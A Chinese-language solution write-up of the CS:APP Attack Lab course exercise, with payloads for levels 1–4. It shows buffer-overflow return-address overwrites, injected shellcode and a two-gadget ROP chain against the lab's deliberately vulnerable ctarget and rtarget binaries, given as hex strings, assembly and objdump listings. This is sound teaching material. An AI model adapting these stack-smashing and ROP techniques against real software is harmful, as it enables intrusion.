csapp的attacklab配套实验,要求利用缓冲区溢出对指定可执行文件进行攻击,包括CI(Code Injection)攻击和ROP(Return-Oriented Programming)攻击两种方式。

概览

writeup已经中给出了详细的目标和实验流程,首先给出了一个有漏洞的函数getbuf:

unsigned getbuf()
{
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}

该函数调用Gets函数从标准输入流读取字符串并存在缓冲区buf中,但是并没有执行数组越界检查和任何防止缓冲区溢出的措施,我们的任务就是利用该漏洞构造特殊的输入字符串来达成题目中给定的目标。其中ctarget用于CI攻击,rtarget用于ROP攻击。

另外由于有很多无法输入和打印的ascii字符,我们需要使用hex2raw程序根据16进制的ascii码来生成字符串。

level1

level1的目标很简单:劫持ctarget程序的执行流并最终调用touch1函数即可。我们先使用如下指令反汇编ctarget的代码段

objdump -d ctarget > ctarget_att_d.s

然后找到getbuf方法的汇编指令:

00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq

可以发现函数开始申请了40字节的栈空间(用于buffer数组32字节,另外8字节用于对齐),即原入栈的函数返回地址在0x28(%rsp)处,buf数组所在地址为%rsp,所以此时我们可以利用缓冲区溢出,输入48字节大小的字符串,并用最后8字节来覆盖返回地址为touch1的函数地址(0x4017c0),至于前40字节的内容随意填充即可(除了换行符0xa),后面的示例答案如果有任意填充的字节这里一律填为0x30(‘0’),示例答案如下:

30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
c0 17 40 00 00 00 00 00

将上面的十六进制序列使用hex2raw转换后即为最终答案。

level2

level2和level类似,只不过需要调用带参数的函数touch2,并且需要传入cookie.txt中特定的值0x59b997fa。思路和level1一样,仍然是通过覆写栈帧上函数的返回地址来拿到程序的控制权,跳转到我们指定的地址来完成目标。由于level2需要传入指定的参数,所以需要进行少量的代码注入。首先我们要拿到我们需要注入的代码的十六进制形式,gcc编译(gcc -c inject.s)如下汇编指令:

movq $0x59b997fa, %rdi
pushq $0x4017ec
ret

然后使用objdump工具反汇编代码段(objdump -d inject.o > inject_att_d.s)拿到上述汇编指令的十六进制码

0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 pushq $0x4017ec
c: c3 retq

这段汇编指令的意义是将rdi寄存器赋为我们指定的值,将touch2地址入栈,ret返回即可跳转至函数touch2。之后我们需要拿到进入getbuf后栈顶的地址,需要用到gdb工具,具体过程可参考gdb官方文档不再赘述,所以输入的字符串开始为我们注入代码的十六进制形式:48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3,随后任意填充到40字节,最后8字节覆盖返回地址为栈顶地址0x5561dc78,示例答案如下:

48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
78 dc 61 55 00 00 00 00

我们还可以换个思路,其实不一定使用push指令让touch2的地址入栈,可以提前将该地址覆写到注入代码执行完毕之后的rsp地址处,利用ret指令跳转至touch2达成目的。这时注入代码只需要movq $0x59b997fa, %rdi和ret两个汇编指令,但是在原有的48字节输入后还要追加8字节大小的touch2的函数地址,示例答案如下:

48 c7 c7 fa 97 b9 59 c3
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
78 dc 61 55 00 00 00 00
ec 17 40 00 00 00 00 00

level3

level3和前面的思路仍然一致,只不过需要调用接收字符串参数的函数touch3,需要传入cookie值0x59b997fa的字符串形式”59b997fa”。所以我们注入和level2类似的指令:

movq 0x5561dc78, %rdi
ret

地址0x5561dc78即栈顶的值,注入的字符串以栈顶地址为首地址,注入的两条汇编指令占8字节的内存空间,紧跟在注入字符串之后即可。要注意注入字符串末尾要添加’\0’,字符串”59b997fa”的二进制形式为35 39 62 39 39 37 66 61 00占9字节,所以第一次ret跳转的地址为0x5561dc81,touch3的函数地址为0x4018fa,所以示例答案如下:

35 39 62 39 39 37 66 61
00 48 c7 c7 78 dc 61 55
c3 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
81 dc 61 55 00 00 00 00
fa 18 40 00 00 00 00 00

level4

level4开始要对rtarget进行代码注入攻击,但是rtarget的栈区在每次执行时会为栈分配不同的地址空间,并且使栈区的内存空间没有可执行权限,这时候需要使用ROP对rtarget进行攻击。因为ROP的思想是通过执行现有代码而不是注入新代码来达成目的,它要求我们在已有的指令中寻找少量指令以及ret指令组成的字节序列,符合条件的序列我们称之为gadget,这样我们可以通过注入一系列这些gadget的指令地址,通过ret指令依次执行我们选中的gadget组合,最终实现目标。对x64汇编指令编码不熟悉没关系,实验的附录提供了很多有用的指令的二进制编码,而且实验提醒我们在start_farm函数和end_farm函数之间的指令中寻找gadget。

有个题外话,ROP的思想和解释器(Interpreter)非常像,都是通过提前编译好一系列基元操作(gadget对应opcode的编译实现),在运行时动态组合这些操作,来突破动态生成的指令没有执行权限的限制。

level4的题目要求和level2完全一致,只是攻击对象换成了更难的rtarget,level4将gadget的范围限制在start_farm和end_farm之间,并且明确告知只需要两个gadget即可完成攻击。首先我们使用objdump工具反汇编代码段:

objdump -d rtarget > rtarget_att_d.s

可以推测我们首先需要将cookie参数从栈中pop到rdi作为参数,然后ret调用touch2函数即可,但是我们发现在farm中并没有5f c3的字节序列,所以观察farm中的指令发现有很多对rax的操作,所以我们转变方向考虑先将cookie参数pop到rax,然后mov %rax, %rdi,最后ret调用touch2函数。首先popq %rax对应的gadget为58 c3,我们检索farm中并没有该字节序列,但是在函数getval_280中:

00000000004019ca <getval_280>:
4019ca: b8 29 58 90 c3 mov $0xc3905829,%eax
4019cf: c3 retq

我们发现了58 90 c3的字节序列(地址0x4019cc),其中0x90对应的是nop指令空操作,所以满足了gadget1的要求。mov %rax, %rdi对应的gadget2为48 89 c7 c3,在函数setval_426中:

00000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 retq

我们发现了类似的48 89 c7 90 c3序列(地址0x4019c5),只是中间同样插入了nop空指令,满足第二个gadget的要求,至此我们在farm中找到了所有我们需要的gadget,接下来就是设计输入字符串,流程和之前类似,首先用gadget1的地址覆盖栈帧上的原函数返回地址,然后紧跟着cookie的字节序列0x59b997fa,然后是gadget2的地址,最后是touch2的函数地址(0x4017ec),至于函数返回地址前的40字节任意填充即可。示例答案如下:

30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
cc 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
c5 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00

level5

level5的题目要求和level3完全一致,只是同样将攻击对象换成了rtarget,这时我们同样只能使用ROP攻击。文档中提到本题需要8个gadget才能完成,但是原理和level4是一样的,所以这里略过了(懒)